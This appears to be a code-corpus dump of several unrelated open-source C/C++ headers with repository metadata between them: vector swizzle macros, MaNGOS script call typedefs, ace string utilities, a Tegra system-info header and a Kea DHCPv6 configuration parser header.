_SWIZZLES_4_PICK_2 _SWIZZLE_2(xx, 0,0); \ _SWIZZLE_2(xy, 0,1); \ _SWIZZLE_2(xz, 0,2); \ _SWIZZLE_2(xw, 0,3); \ _SWIZZLE_2(yx, 1,0); \ _SWIZZLE_2(yy, 1,1); \ _SWIZZLE_2(yz, 1,2); \ _SWIZZLE_2(yw, 1,3); \ _SWIZZLE_2(zx, 2,0); \ _SWIZZLE_2(zy, 2,1); \ _SWIZZLE_2(zz, 2,2); \ _SWIZZLE_2(zw, 2,3); \ _SWIZZLE_2(wx, 3,0); \ _SWIZZLE_2(wy, 3,1); \ _SWIZZLE_2(wz, 3,2); \ _SWIZZLE_2(ww, 3,3) #define _SWIZZLES_4_PICK_3 _SWIZZLE_3(xxx, 0,0,0); \ _SWIZZLE_3(xxy, 0,0,1); \ _SWIZZLE_3(xxz, 0,0,2); \ _SWIZZLE_3(xxw, 0,0,3); \ _SWIZZLE_3(xyx, 0,1,0); \ _SWIZZLE_3(xyy, 0,1,1); \ _SWIZZLE_3(xyz, 0,1,2); \ _SWIZZLE_3(xyw, 0,1,3); \ _SWIZZLE_3(xzx, 0,2,0); \ _SWIZZLE_3(xzy, 0,2,1); \ _SWIZZLE_3(xzz, 0,2,2); \ _SWIZZLE_3(xzw, 0,2,3); \ _SWIZZLE_3(xwx, 0,3,0); \ _SWIZZLE_3(xwy, 0,3,1); \ _SWIZZLE_3(xwz, 0,3,2); \ _SWIZZLE_3(xww, 0,3,3); \ _SWIZZLE_3(yxx, 1,0,0); \ _SWIZZLE_3(yxy, 1,0,1); \ _SWIZZLE_3(yxz, 1,0,2); \ _SWIZZLE_3(yxw, 1,0,3); \ _SWIZZLE_3(yyx, 1,1,0); \ _SWIZZLE_3(yyy, 1,1,1); \ _SWIZZLE_3(yyz, 1,1,2); \ _SWIZZLE_3(yyw, 1,1,3); \ _SWIZZLE_3(yzx, 1,2,0); \ _SWIZZLE_3(yzy, 1,2,1); \ _SWIZZLE_3(yzz, 1,2,2); \ _SWIZZLE_3(yzw, 1,2,3); \ _SWIZZLE_3(ywx, 1,3,0); \ _SWIZZLE_3(ywy, 1,3,1); \ _SWIZZLE_3(ywz, 1,3,2); \ _SWIZZLE_3(yww, 1,3,3); \ _SWIZZLE_3(zxx, 2,0,0); \ _SWIZZLE_3(zxy, 2,0,1); \ _SWIZZLE_3(zxz, 2,0,2); \ _SWIZZLE_3(zxw, 2,0,3); \ _SWIZZLE_3(zyx, 2,1,0); \ _SWIZZLE_3(zyy, 2,1,1); \ _SWIZZLE_3(zyz, 2,1,2); \ _SWIZZLE_3(zyw, 2,1,3); \ _SWIZZLE_3(zzx, 2,2,0); \ _SWIZZLE_3(zzy, 2,2,1); \ _SWIZZLE_3(zzz, 2,2,2); \ _SWIZZLE_3(zzw, 2,2,3); \ _SWIZZLE_3(zwx, 2,3,0); \ _SWIZZLE_3(zwy, 2,3,1); \ _SWIZZLE_3(zwz, 2,3,2); \ _SWIZZLE_3(zww, 2,3,3); \ _SWIZZLE_3(wxx, 3,0,0); \ _SWIZZLE_3(wxy, 3,0,1); \ _SWIZZLE_3(wxz, 3,0,2); \ _SWIZZLE_3(wxw, 3,0,3); \ _SWIZZLE_3(wyx, 3,1,0); \ _SWIZZLE_3(wyy, 3,1,1); \ _SWIZZLE_3(wyz, 3,1,2); \ _SWIZZLE_3(wyw, 3,1,3); \ _SWIZZLE_3(wzx, 3,2,0); \ _SWIZZLE_3(wzy, 3,2,1); \ _SWIZZLE_3(wzz, 3,2,2); \ _SWIZZLE_3(wzw, 3,2,3); \ _SWIZZLE_3(wwx, 3,3,0); \ _SWIZZLE_3(wwy, 3,3,1); \ _SWIZZLE_3(wwz, 3,3,2); \ _SWIZZLE_3(www, 3,3,3) #define _ALL_SWIZZLES_4 _SWIZZLES_4_PICK_3 \ _SWIZZLES_4_PICK_2 \ _SWIZZLE_4(xxxx, 0,0,0,0); \ _SWIZZLE_4(xxxy, 0,0,0,1); \ _SWIZZLE_4(xxxz, 0,0,0,2); \ _SWIZZLE_4(xxxw, 0,0,0,3); \ _SWIZZLE_4(xxyx, 0,0,1,0); \ _SWIZZLE_4(xxyy, 0,0,1,1); \ _SWIZZLE_4(xxyz, 0,0,1,2); \ _SWIZZLE_4(xxyw, 0,0,1,3); \ _SWIZZLE_4(xxzx, 0,0,2,0); \ _SWIZZLE_4(xxzy, 0,0,2,1); \ _SWIZZLE_4(xxzz, 0,0,2,2); \ _SWIZZLE_4(xxzw, 0,0,2,3); \ _SWIZZLE_4(xxwx, 0,0,3,0); \ _SWIZZLE_4(xxwy, 0,0,3,1); \ _SWIZZLE_4(xxwz, 0,0,3,2); \ _SWIZZLE_4(xxww, 0,0,3,3); \ _SWIZZLE_4(xyxx, 0,1,0,0); \ _SWIZZLE_4(xyxy, 0,1,0,1); \ _SWIZZLE_4(xyxz, 0,1,0,2); \ _SWIZZLE_4(xyxw, 0,1,0,3); \ _SWIZZLE_4(xyyx, 0,1,1,0); \ _SWIZZLE_4(xyyy, 0,1,1,1); \ _SWIZZLE_4(xyyz, 0,1,1,2); \ _SWIZZLE_4(xyyw, 0,1,1,3); \ _SWIZZLE_4(xyzx, 0,1,2,0); \ _SWIZZLE_4(xyzy, 0,1,2,1); \ _SWIZZLE_4(xyzz, 0,1,2,2); \ _SWIZZLE_4(xyzw, 0,1,2,3); \ _SWIZZLE_4(xywx, 0,1,3,0); \ _SWIZZLE_4(xywy, 0,1,3,1); \ _SWIZZLE_4(xywz, 0,1,3,2); \ _SWIZZLE_4(xyww, 0,1,3,3); \ _SWIZZLE_4(xzxx, 0,2,0,0); \ _SWIZZLE_4(xzxy, 0,2,0,1); \ _SWIZZLE_4(xzxz, 0,2,0,2); \ _SWIZZLE_4(xzxw, 0,2,0,3); \ _SWIZZLE_4(xzyx, 0,2,1,0); \ _SWIZZLE_4(xzyy, 0,2,1,1); \ _SWIZZLE_4(xzyz, 0,2,1,2); \ _SWIZZLE_4(xzyw, 0,2,1,3); \ _SWIZZLE_4(xzzx, 0,2,2,0); \ _SWIZZLE_4(xzzy, 0,2,2,1); \ _SWIZZLE_4(xzzz, 0,2,2,2); \ _SWIZZLE_4(xzzw, 0,2,2,3); \ _SWIZZLE_4(xzwx, 0,2,3,0); \ _SWIZZLE_4(xzwy, 0,2,3,1); \ _SWIZZLE_4(xzwz, 0,2,3,2); \ _SWIZZLE_4(xzww, 0,2,3,3); \ _SWIZZLE_4(xwxx, 0,3,0,0); \ _SWIZZLE_4(xwxy, 0,3,0,1); \ _SWIZZLE_4(xwxz, 0,3,0,2); \ _SWIZZLE_4(xwxw, 0,3,0,3); \ _SWIZZLE_4(xwyx, 0,3,1,0); \ _SWIZZLE_4(xwyy, 0,3,1,1); \ _SWIZZLE_4(xwyz, 0,3,1,2); \ _SWIZZLE_4(xwyw, 0,3,1,3); \ _SWIZZLE_4(xwzx, 0,3,2,0); \ _SWIZZLE_4(xwzy, 0,3,2,1); \ _SWIZZLE_4(xwzz, 0,3,2,2); \ _SWIZZLE_4(xwzw, 0,3,2,3); \ _SWIZZLE_4(xwwx, 0,3,3,0); \ _SWIZZLE_4(xwwy, 0,3,3,1); \ _SWIZZLE_4(xwwz, 0,3,3,2); \ _SWIZZLE_4(xwww, 0,3,3,3); \ _SWIZZLE_4(yxxx, 1,0,0,0); \ _SWIZZLE_4(yxxy, 1,0,0,1); \ _SWIZZLE_4(yxxz, 1,0,0,2); \ _SWIZZLE_4(yxxw, 1,0,0,3); \ _SWIZZLE_4(yxyx, 1,0,1,0); \ _SWIZZLE_4(yxyy, 1,0,1,1); \ _SWIZZLE_4(yxyz, 1,0,1,2); \ _SWIZZLE_4(yxyw, 1,0,1,3); \ _SWIZZLE_4(yxzx, 1,0,2,0); \ _SWIZZLE_4(yxzy, 1,0,2,1); \ _SWIZZLE_4(yxzz, 1,0,2,2); \ _SWIZZLE_4(yxzw, 1,0,2,3); \ _SWIZZLE_4(yxwx, 1,0,3,0); \ _SWIZZLE_4(yxwy, 1,0,3,1); \ _SWIZZLE_4(yxwz, 1,0,3,2); \ _SWIZZLE_4(yxww, 1,0,3,3); \ _SWIZZLE_4(yyxx, 1,1,0,0); \ _SWIZZLE_4(yyxy, 1,1,0,1); \ _SWIZZLE_4(yyxz, 1,1,0,2); \ _SWIZZLE_4(yyxw, 1,1,0,3); \ _SWIZZLE_4(yyyx, 1,1,1,0); \ _SWIZZLE_4(yyyy, 1,1,1,1); \ _SWIZZLE_4(yyyz, 1,1,1,2); \ _SWIZZLE_4(yyyw, 1,1,1,3); \ _SWIZZLE_4(yyzx, 1,1,2,0); \ _SWIZZLE_4(yyzy, 1,1,2,1); \ _SWIZZLE_4(yyzz, 1,1,2,2); \ _SWIZZLE_4(yyzw, 1,1,2,3); \ _SWIZZLE_4(yywx, 1,1,3,0); \ _SWIZZLE_4(yywy, 1,1,3,1); \ _SWIZZLE_4(yywz, 1,1,3,2); \ _SWIZZLE_4(yyww, 1,1,3,3); \ _SWIZZLE_4(yzxx, 1,2,0,0); \ _SWIZZLE_4(yzxy, 1,2,0,1); \ _SWIZZLE_4(yzxz, 1,2,0,2); \ _SWIZZLE_4(yzxw, 1,2,0,3); \ _SWIZZLE_4(yzyx, 1,2,1,0); \ _SWIZZLE_4(yzyy, 1,2,1,1); \ _SWIZZLE_4(yzyz, 1,2,1,2); \ _SWIZZLE_4(yzyw, 1,2,1,3); \ _SWIZZLE_4(yzzx, 1,2,2,0); \ _SWIZZLE_4(yzzy, 1,2,2,1); \ _SWIZZLE_4(yzzz, 1,2,2,2); \ _SWIZZLE_4(yzzw, 1,2,2,3); \ _SWIZZLE_4(yzwx, 1,2,3,0); \ _SWIZZLE_4(yzwy, 1,2,3,1); \ _SWIZZLE_4(yzwz, 1,2,3,2); \ _SWIZZLE_4(yzww, 1,2,3,3); \ _SWIZZLE_4(ywxx, 1,3,0,0); \ _SWIZZLE_4(ywxy, 1,3,0,1); \ _SWIZZLE_4(ywxz, 1,3,0,2); \ _SWIZZLE_4(ywxw, 1,3,0,3); \ _SWIZZLE_4(ywyx, 1,3,1,0); \ _SWIZZLE_4(ywyy, 1,3,1,1); \ _SWIZZLE_4(ywyz, 1,3,1,2); \ _SWIZZLE_4(ywyw, 1,3,1,3); \ _SWIZZLE_4(ywzx, 1,3,2,0); \ _SWIZZLE_4(ywzy, 1,3,2,1); \ _SWIZZLE_4(ywzz, 1,3,2,2); \ _SWIZZLE_4(ywzw, 1,3,2,3); \ _SWIZZLE_4(ywwx, 1,3,3,0); \ _SWIZZLE_4(ywwy, 1,3,3,1); \ _SWIZZLE_4(ywwz, 1,3,3,2); \ _SWIZZLE_4(ywww, 1,3,3,3); \ _SWIZZLE_4(zxxx, 2,0,0,0); \ _SWIZZLE_4(zxxy, 2,0,0,1); \ _SWIZZLE_4(zxxz, 2,0,0,2); \ _SWIZZLE_4(zxxw, 2,0,0,3); \ _SWIZZLE_4(zxyx, 2,0,1,0); \ _SWIZZLE_4(zxyy, 2,0,1,1); \ _SWIZZLE_4(zxyz, 2,0,1,2); \ _SWIZZLE_4(zxyw, 2,0,1,3); \ _SWIZZLE_4(zxzx, 2,0,2,0); \ _SWIZZLE_4(zxzy, 2,0,2,1); \ _SWIZZLE_4(zxzz, 2,0,2,2); \ _SWIZZLE_4(zxzw, 2,0,2,3); \ _SWIZZLE_4(zxwx, 2,0,3,0); \ _SWIZZLE_4(zxwy, 2,0,3,1); \ _SWIZZLE_4(zxwz, 2,0,3,2); \ _SWIZZLE_4(zxww, 2,0,3,3); \ _SWIZZLE_4(zyxx, 2,1,0,0); \ _SWIZZLE_4(zyxy, 2,1,0,1); \ _SWIZZLE_4(zyxz, 2,1,0,2); \ _SWIZZLE_4(zyxw, 2,1,0,3); \ _SWIZZLE_4(zyyx, 2,1,1,0); \ _SWIZZLE_4(zyyy, 2,1,1,1); \ _SWIZZLE_4(zyyz, 2,1,1,2); \ _SWIZZLE_4(zyyw, 2,1,1,3); \ _SWIZZLE_4(zyzx, 2,1,2,0); \ _SWIZZLE_4(zyzy, 2,1,2,1); \ _SWIZZLE_4(zyzz, 2,1,2,2); \ _SWIZZLE_4(zyzw, 2,1,2,3); \ _SWIZZLE_4(zywx, 2,1,3,0); \ _SWIZZLE_4(zywy, 2,1,3,1); \ _SWIZZLE_4(zywz, 2,1,3,2); \ _SWIZZLE_4(zyww, 2,1,3,3); \ _SWIZZLE_4(zzxx, 2,2,0,0); \ _SWIZZLE_4(zzxy, 2,2,0,1); \ _SWIZZLE_4(zzxz, 2,2,0,2); \ _SWIZZLE_4(zzxw, 2,2,0,3); \ _SWIZZLE_4(zzyx, 2,2,1,0); \ _SWIZZLE_4(zzyy, 2,2,1,1); \ _SWIZZLE_4(zzyz, 2,2,1,2); \ _SWIZZLE_4(zzyw, 2,2,1,3); \ _SWIZZLE_4(zzzx, 2,2,2,0); \ _SWIZZLE_4(zzzy, 2,2,2,1); \ _SWIZZLE_4(zzzz, 2,2,2,2); \ _SWIZZLE_4(zzzw, 2,2,2,3); \ _SWIZZLE_4(zzwx, 2,2,3,0); \ _SWIZZLE_4(zzwy, 2,2,3,1); \ _SWIZZLE_4(zzwz, 2,2,3,2); \ _SWIZZLE_4(zzww, 2,2,3,3); \ _SWIZZLE_4(zwxx, 2,3,0,0); \ _SWIZZLE_4(zwxy, 2,3,0,1); \ _SWIZZLE_4(zwxz, 2,3,0,2); \ _SWIZZLE_4(zwxw, 2,3,0,3); \ _SWIZZLE_4(zwyx, 2,3,1,0); \ _SWIZZLE_4(zwyy, 2,3,1,1); \ _SWIZZLE_4(zwyz, 2,3,1,2); \ _SWIZZLE_4(zwyw, 2,3,1,3); \ _SWIZZLE_4(zwzx, 2,3,2,0); \ _SWIZZLE_4(zwzy, 2,3,2,1); \ _SWIZZLE_4(zwzz, 2,3,2,2); \ _SWIZZLE_4(zwzw, 2,3,2,3); \ _SWIZZLE_4(zwwx, 2,3,3,0); \ _SWIZZLE_4(zwwy, 2,3,3,1); \ _SWIZZLE_4(zwwz, 2,3,3,2); \ _SWIZZLE_4(zwww, 2,3,3,3); \ _SWIZZLE_4(wxxx, 3,0,0,0); \ _SWIZZLE_4(wxxy, 3,0,0,1); \ _SWIZZLE_4(wxxz, 3,0,0,2); \ _SWIZZLE_4(wxxw, 3,0,0,3); \ _SWIZZLE_4(wxyx, 3,0,1,0); \ _SWIZZLE_4(wxyy, 3,0,1,1); \ _SWIZZLE_4(wxyz, 3,0,1,2); \ _SWIZZLE_4(wxyw, 3,0,1,3); \ _SWIZZLE_4(wxzx, 3,0,2,0); \ _SWIZZLE_4(wxzy, 3,0,2,1); \ _SWIZZLE_4(wxzz, 3,0,2,2); \ _SWIZZLE_4(wxzw, 3,0,2,3); \ _SWIZZLE_4(wxwx, 3,0,3,0); \ _SWIZZLE_4(wxwy, 3,0,3,1); \ _SWIZZLE_4(wxwz, 3,0,3,2); \ _SWIZZLE_4(wxww, 3,0,3,3); \ _SWIZZLE_4(wyxx, 3,1,0,0); \ _SWIZZLE_4(wyxy, 3,1,0,1); \ _SWIZZLE_4(wyxz, 3,1,0,2); \ _SWIZZLE_4(wyxw, 3,1,0,3); \ _SWIZZLE_4(wyyx, 3,1,1,0); \ _SWIZZLE_4(wyyy, 3,1,1,1); \ _SWIZZLE_4(wyyz, 3,1,1,2); \ _SWIZZLE_4(wyyw, 3,1,1,3); \ _SWIZZLE_4(wyzx, 3,1,2,0); \ _SWIZZLE_4(wyzy, 3,1,2,1); \ _SWIZZLE_4(wyzz, 3,1,2,2); \ _SWIZZLE_4(wyzw, 3,1,2,3); \ _SWIZZLE_4(wywx, 3,1,3,0); \ _SWIZZLE_4(wywy, 3,1,3,1); \ _SWIZZLE_4(wywz, 3,1,3,2); \ _SWIZZLE_4(wyww, 3,1,3,3); \ _SWIZZLE_4(wzxx, 3,2,0,0); \ _SWIZZLE_4(wzxy, 3,2,0,1); \ _SWIZZLE_4(wzxz, 3,2,0,2); \ _SWIZZLE_4(wzxw, 3,2,0,3); \ _SWIZZLE_4(wzyx, 3,2,1,0); \ _SWIZZLE_4(wzyy, 3,2,1,1); \ _SWIZZLE_4(wzyz, 3,2,1,2); \ _SWIZZLE_4(wzyw, 3,2,1,3); \ _SWIZZLE_4(wzzx, 3,2,2,0); \ _SWIZZLE_4(wzzy, 3,2,2,1); \ _SWIZZLE_4(wzzz, 3,2,2,2); \ _SWIZZLE_4(wzzw, 3,2,2,3); \ _SWIZZLE_4(wzwx, 3,2,3,0); \ _SWIZZLE_4(wzwy, 3,2,3,1); \ _SWIZZLE_4(wzwz, 3,2,3,2); \ _SWIZZLE_4(wzww, 3,2,3,3); \ _SWIZZLE_4(wwxx, 3,3,0,0); \ _SWIZZLE_4(wwxy, 3,3,0,1); \ _SWIZZLE_4(wwxz, 3,3,0,2); \ _SWIZZLE_4(wwxw, 3,3,0,3); \ _SWIZZLE_4(wwyx, 3,3,1,0); \ _SWIZZLE_4(wwyy, 3,3,1,1); \ _SWIZZLE_4(wwyz, 3,3,1,2); \ _SWIZZLE_4(wwyw, 3,3,1,3); \ _SWIZZLE_4(wwzx, 3,3,2,0); \ _SWIZZLE_4(wwzy, 3,3,2,1); \ _SWIZZLE_4(wwzz, 3,3,2,2); \ _SWIZZLE_4(wwzw, 3,3,2,3); \ _SWIZZLE_4(wwwx, 3,3,3,0); \ _SWIZZLE_4(wwwy, 3,3,3,1); \ _SWIZZLE_4(wwwz, 3,3,3,2); \ _SWIZZLE_4(wwww, 3,3,3,3);
29.535714
125
0.606063
281deb1139cef32ac878b3f111c43605bb8c9ce8
4,894
h
C
evo-X-Core/src/game/ScriptCalls.h
Gigelf-evo-X/evo-X
d0e68294d8cacfc7fb3aed5572f51d09a47136b9
[ "OpenSSL" ]
1
2019-01-19T06:35:40.000Z
2019-01-19T06:35:40.000Z
evo-X-Core/src/game/ScriptCalls.h
Gigelf-evo-X/evo-X
d0e68294d8cacfc7fb3aed5572f51d09a47136b9
[ "OpenSSL" ]
null
null
null
evo-X-Core/src/game/ScriptCalls.h
Gigelf-evo-X/evo-X
d0e68294d8cacfc7fb3aed5572f51d09a47136b9
[ "OpenSSL" ]
null
null
null
/* * Copyright (C) 2005-2010 MaNGOS <http://getmangos.com/> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifndef __SCRIPT_CALLS_H #define __SCRIPT_CALLS_H #include "Common.h" #include "ObjectMgr.h" #include "DBCEnums.h" class Creature; class CreatureAI; class GameObject; class Item; class Player; class Quest; class SpellCastTargets; class Map; class InstanceData; bool LoadScriptingModule(char const* libName = ""); void UnloadScriptingModule(); typedef void(MANGOS_IMPORT * scriptCallScriptsInit) (const ObjectMgr::ScriptNameMap &scriptNames); typedef void(MANGOS_IMPORT * scriptCallScriptsFree) (); typedef char const* (MANGOS_IMPORT * scriptCallScriptsVersion) (); typedef bool(MANGOS_IMPORT * scriptCallGossipHello) (Player *player, Creature *_Creature ); typedef bool(MANGOS_IMPORT * scriptCallQuestAccept) (Player *player, Creature *_Creature, Quest const *); typedef bool(MANGOS_IMPORT * scriptCallGossipSelect)(Player *player, Creature *_Creature, uint32 sender, uint32 action); typedef bool(MANGOS_IMPORT * scriptCallGossipSelectWithCode)( Player *player, Creature *_Creature, uint32 sender, uint32 action, const char* sCode ); typedef bool(MANGOS_IMPORT * scriptCallQuestSelect)( Player *player, Creature *_Creature, Quest const* ); typedef bool(MANGOS_IMPORT * scriptCallQuestComplete)(Player *player, Creature *_Creature, Quest const*); typedef uint32(MANGOS_IMPORT * scriptCallNPCDialogStatus)( Player *player, Creature *_Creature); typedef uint32(MANGOS_IMPORT * scriptCallGODialogStatus)( Player *player, GameObject * _GO); typedef bool(MANGOS_IMPORT * scriptCallChooseReward)( Player *player, Creature *_Creature, Quest const*, uint32 opt ); typedef bool(MANGOS_IMPORT * scriptCallItemHello)( Player *player, Item *, Quest const*); typedef bool(MANGOS_IMPORT * scriptCallGOHello)( Player *player, GameObject * ); typedef bool(MANGOS_IMPORT * scriptCallAreaTrigger)( Player *player, AreaTriggerEntry const* ); typedef bool(MANGOS_IMPORT * scriptCallItemQuestAccept)(Player *player, Item *, Quest const*); typedef bool(MANGOS_IMPORT * scriptCallGOQuestAccept)(Player *player, GameObject *, Quest const*); typedef bool(MANGOS_IMPORT * scriptCallGOChooseReward)(Player *player, GameObject *, Quest const*, uint32 opt ); typedef bool(MANGOS_IMPORT * scriptCallItemUse) (Player *player, Item *_Item, SpellCastTargets const& targets); typedef bool(MANGOS_IMPORT * scriptCallEffectDummyGameObj) (Unit *caster, uint32 spellId, SpellEffectIndex effIndex, GameObject *gameObjTarget); typedef bool(MANGOS_IMPORT * scriptCallEffectDummyCreature) (Unit *caster, uint32 spellId, SpellEffectIndex effIndex, Creature *crTarget); typedef bool(MANGOS_IMPORT * scriptCallEffectDummyItem) (Unit *caster, uint32 spellId, SpellEffectIndex effIndex, Item *itemTarget); typedef bool(MANGOS_IMPORT * scriptCallEffectAuraDummy) (const Aura* pAura, bool apply); typedef CreatureAI* (MANGOS_IMPORT * scriptCallGetAI) ( Creature *_Creature ); typedef InstanceData* (MANGOS_IMPORT * scriptCallCreateInstanceData) (Map *map); typedef struct { scriptCallScriptsInit ScriptsInit; scriptCallScriptsFree ScriptsFree; scriptCallScriptsVersion ScriptsVersion; scriptCallGossipHello GossipHello; scriptCallGOChooseReward GOChooseReward; scriptCallQuestAccept QuestAccept; scriptCallGossipSelect GossipSelect; scriptCallGossipSelectWithCode GossipSelectWithCode; scriptCallQuestSelect QuestSelect; scriptCallQuestComplete QuestComplete; scriptCallNPCDialogStatus NPCDialogStatus; scriptCallGODialogStatus GODialogStatus; scriptCallChooseReward ChooseReward; scriptCallItemHello ItemHello; scriptCallGOHello GOHello; scriptCallAreaTrigger scriptAreaTrigger; scriptCallItemQuestAccept ItemQuestAccept; scriptCallGOQuestAccept GOQuestAccept; scriptCallItemUse ItemUse; scriptCallEffectDummyGameObj EffectDummyGameObj; scriptCallEffectDummyCreature EffectDummyCreature; scriptCallEffectDummyItem EffectDummyItem; scriptCallEffectAuraDummy EffectAuraDummy; scriptCallGetAI GetAI; scriptCallCreateInstanceData CreateInstanceData; MANGOS_LIBRARY_HANDLE hScriptsLib; }_ScriptSet,*ScriptsSet; extern ScriptsSet Script; #endif
48.94
149
0.799142
150942df9974da5166ad9ec103da8eb8051c9f9b
3,167
h
C
include/ace/common/String.h
xguerin/ace
ad6e1bc4cb4f10d6cf5b782f623ec0eef13e000b
[ "MIT" ]
5
2016-06-14T17:56:47.000Z
2022-02-10T19:54:25.000Z
include/ace/common/String.h
xguerin/ace
ad6e1bc4cb4f10d6cf5b782f623ec0eef13e000b
[ "MIT" ]
42
2016-06-21T20:48:22.000Z
2021-03-23T15:20:51.000Z
include/ace/common/String.h
xguerin/ace
ad6e1bc4cb4f10d6cf5b782f623ec0eef13e000b
[ "MIT" ]
1
2016-10-02T02:58:49.000Z
2016-10-02T02:58:49.000Z
/** * Copyright (c) 2016 Xavier R. Guerin * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #pragma once #include <algorithm> #include <cctype> #include <functional> #include <memory> #include <sstream> #include <string> #include <locale> namespace ace { namespace common { namespace String { std::ostream& indent(std::ostream& o, int l); template<typename T> bool is(std::string const& s) { T r; std::istringstream iss(s); iss >> std::boolalpha >> r; return (iss.rdstate() & (std::istream::failbit | std::istream::badbit)) == 0; } template<> bool is<long>(std::string const& s); template<> bool is<double>(std::string const& s); template<typename T> T value(std::string const& s) { T r; std::istringstream iss(s); iss >> std::boolalpha >> r; return r; } template<> double value<double>(std::string const& s); template<> std::string value(std::string const& s); template<typename T> std::string from(T const& v) { std::ostringstream oss; oss << std::boolalpha << std::scientific << v; return oss.str(); } template<template<class, class> class C, class A = std::allocator<std::string>> void split(std::string const& s, const char d, C<std::string, A>& r) { r.clear(); if (s.empty()) { return; } std::string buffer; for (auto& c : s) { if (c == d) { r.push_back(buffer); buffer.clear(); } else { buffer.push_back(c); } } r.push_back(buffer); } template<template<class, class> class C, class A = std::allocator<std::string>> std::string join(C<std::string, A> const& r, const char d) { std::ostringstream oss; size_t cnt = 0; for (auto& e : r) { oss << e; if (cnt++ < r.size() - 1) { oss << d; } } return oss.str(); } std::string prefix(std::string const& a, std::string const& b); std::string normalize(std::string const& in); std::string expand(std::string const& s, const char c, std::string const& v); std::string& ltrim(std::string& s); std::string& rtrim(std::string& s); std::string& trim(std::string& s); std::string camelify(std::string const& s); void dumpCharArray(std::string const& s, std::ostream& o); }}}
24.361538
80
0.678876
7f4d9c7566ac1bc3814ef7abeeab6d6c292779a6
316
h
C
kernel/tegra/arch/arm64/include/asm/system_info.h
alexunder/CellMatrix
bd21813ad8ab4ccd320bcac9aad7c61eb7f35df2
[ "MIT" ]
null
null
null
kernel/tegra/arch/arm64/include/asm/system_info.h
alexunder/CellMatrix
bd21813ad8ab4ccd320bcac9aad7c61eb7f35df2
[ "MIT" ]
null
null
null
kernel/tegra/arch/arm64/include/asm/system_info.h
alexunder/CellMatrix
bd21813ad8ab4ccd320bcac9aad7c61eb7f35df2
[ "MIT" ]
null
null
null
#ifndef __ASM_ARM_SYSTEM_INFO_H #define __ASM_ARM_SYSTEM_INFO_H #ifndef __ASSEMBLY__ /* information about the system we're running on */ extern unsigned int system_rev; extern unsigned int system_serial_low; extern unsigned int system_serial_high; #endif /* !__ASSEMBLY__ */ #endif /* __ASM_ARM_SYSTEM_INFO_H */
22.571429
51
0.806962
369f6dad41354488ac0c34ff0ee1765a7f544db6
2,904
h
C
src/bin/dhcp6/json_config_parser.h
telekom/dt-kea-netconf
f347df353d58827d6deb09f281d3680ab089e7af
[ "Apache-2.0" ]
2
2021-06-29T09:56:34.000Z
2021-06-29T09:56:39.000Z
src/bin/dhcp6/json_config_parser.h
telekom/dt-kea-netconf
f347df353d58827d6deb09f281d3680ab089e7af
[ "Apache-2.0" ]
null
null
null
src/bin/dhcp6/json_config_parser.h
telekom/dt-kea-netconf
f347df353d58827d6deb09f281d3680ab089e7af
[ "Apache-2.0" ]
null
null
null
// Copyright (C) 2012-2020 Internet Systems Consortium, Inc. ("ISC") // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this // file, You can obtain one at http://mozilla.org/MPL/2.0/. #ifndef DHCP6_CONFIG_PARSER_H #define DHCP6_CONFIG_PARSER_H #include <cc/data.h> #include <dhcpsrv/parsers/dhcp_parsers.h> #include <exceptions/exceptions.h> #include <string> namespace isc { namespace dhcp { class Dhcpv6Srv; /// @brief Configures DHCPv6 server /// /// This function is called every time a new configuration is received. The /// extra parameter is a reference to DHCPv6 server component. It is currently /// not used and CfgMgr::instance() is accessed instead. /// /// Test-only mode is supported. If check_only flag is set to true, the /// configuration is parsed, but the actual change is not applied. The goal is /// to have the ability to test configuration. /// /// This method does not throw. It catches all exceptions and returns them as /// reconfiguration statuses. It may return the following response codes: /// 0 - configuration successful /// 1 - malformed configuration (parsing failed) /// 2 - commit failed (parsing was successful, but the values could not be /// stored in the configuration). /// /// @param server DHCPv6 server object. /// @param config_set a new configuration for DHCPv6 server. /// @param check_only whether this configuration is for testing only /// @return answer that contains result of the reconfiguration. /// @throw Dhcp6ConfigError if trying to create a parser for NULL config. isc::data::ElementPtr configureDhcp6Server(Dhcpv6Srv& server, isc::data::ElementPtr config_set, bool check_only = false); /// @brief Configures the server identifier. /// /// This function is called every time a new configuration is received. /// /// @return answer that contains result of the reconfiguration. isc::data::ElementPtr configureDhcp6ServerId(data::ElementPtr config_set); /// @brief Configures the location from where the server configuration should be /// read /// /// This function is called every time a new configuration is received. /// /// This method does not throw. It catches all exceptions and returns them as /// reconfiguration statuses. It may return the following response codes: /// 0 - configuration successful /// 1 - malformed configuration (parsing failed) /// 2 - commit failed (parsing was successful, but the values could not be /// stored in the configuration). /// /// @param config_set a new configuration for DHCPv6 server. /// @return answer that contains result of the reconfiguration. /// @throw Dhcp6ConfigError if trying to create a parser for NULL config. isc::data::ElementPtr configureDhcp6ServerConfigSource(data::ElementPtr config_set); } // namespace dhcp } // namespace isc #endif // DHCP6_CONFIG_PARSER_H
37.714286
80
0.74759
36c48be0cd70b349580daa146dc3534ed76c0864
3,288
h
C
tycho-ipl/runtime/output_interface.h
martin-slater/tycho-ipl
d5a896a389575325c82f50813d0a7c738804cdf5
[ "MIT" ]
null
null
null
